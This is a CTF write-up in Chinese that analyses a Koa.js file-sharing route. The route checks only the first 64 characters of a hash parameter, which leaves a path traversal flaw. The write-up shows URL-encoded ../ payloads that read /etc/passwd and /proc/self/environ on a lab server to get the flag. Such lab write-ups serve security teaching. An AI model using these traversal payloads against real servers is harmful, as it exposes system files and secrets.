                              router.get("/s/:hashfn", async (ctx, next) => {
                                  const hash_fn = String(ctx.params.hashfn || '')
                                  const hash = hash_fn.slice(0, 64)
                                  const from_uid = ctx.query.from_uid
                                  const custom_fn = ctx.query.fn
                                  // 参数校验
                                  if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
                                      // invalid params or query
                                      ctx.set("X-Error-Reason", "Invalid Params");
                                      ctx.status = 400; // Bad Request
                                      return ctx.res.end();
                                  }
                                  // 是否为共享的文件
                                  let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
                                  if (!IS_FILE_EXIST) {
                                      ctx.set("X-Error-Reason", "File Not Found");
                                      ctx.status = 404; // Not Found
                                      return ctx.res.end();
                                  }
                                  // 系统中是否存储有该文件
                                  let IS_FILE_EXIST_IN_STORAGE
                                  try {
                                      IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
                                  } catch (e) {
                                      ctx.set("X-Error-Reason", "Internal Server Error");
                                      ctx.status = 500; // Internal Server Error
                                      return ctx.res.end();
                                  }
                                  if (!IS_FILE_EXIST_IN_STORAGE) {
                                      logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
                                      ctx.set("X-Error-Reason", "Internal Server Error");
                                      ctx.status = 500; // Internal Server Error
                                      return ctx.res.end();
                                  }
                                  // 文件名处理
                                  let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
                                  filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")
                                  // 发送
                                  ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
                                  // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
                                  await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
                                      logger.error(`Error while sending file ${hash_fn.yellow}`)
                                      logger.error(e)
                                      ctx.status = 500; // Internal Server Error
                                      return ctx.res.end();
                                  })
                              })
                              module.exports = router;
                              

                              可以看注释有hint存在漏洞。首先是给了处理GET请求的路由,其中路径为./s/加上参数hashfn,检测前64位是否为哈希值,然后从请求中获取参数fn和from_uid,其中from_uid表示下载的文件是这个 uid 的用户分享的;接着就是参数检测,是否为共享文件(参数为哈希值和from_uid),是否存储该文件,然后文件名处理;最后发送时利用path.resolve函数处理,注意里面的参数hash_fn是完全可控的,我们只需要让64位哈希值后面跟上../即可实现路径穿越

                              既然我们知道参数hashfn可控,随便一个在公共资源区的哈希值拼接上/../../../../etc/passwd,然后由于要验证身份,传参from_uid=100000

                              (其中的/url编码一下)

                              http://node4.buuoj.cn:29715/s/5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd?from_uid=100000
                              

                              发现下载了一个音乐文件,不过打开可以看到我们执行的

                              在这里插入图片描述

                              我们直接查看环境变量

                              /s/5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron?from_uid=100000
                              

                              打开得到flag

                              在这里插入图片描述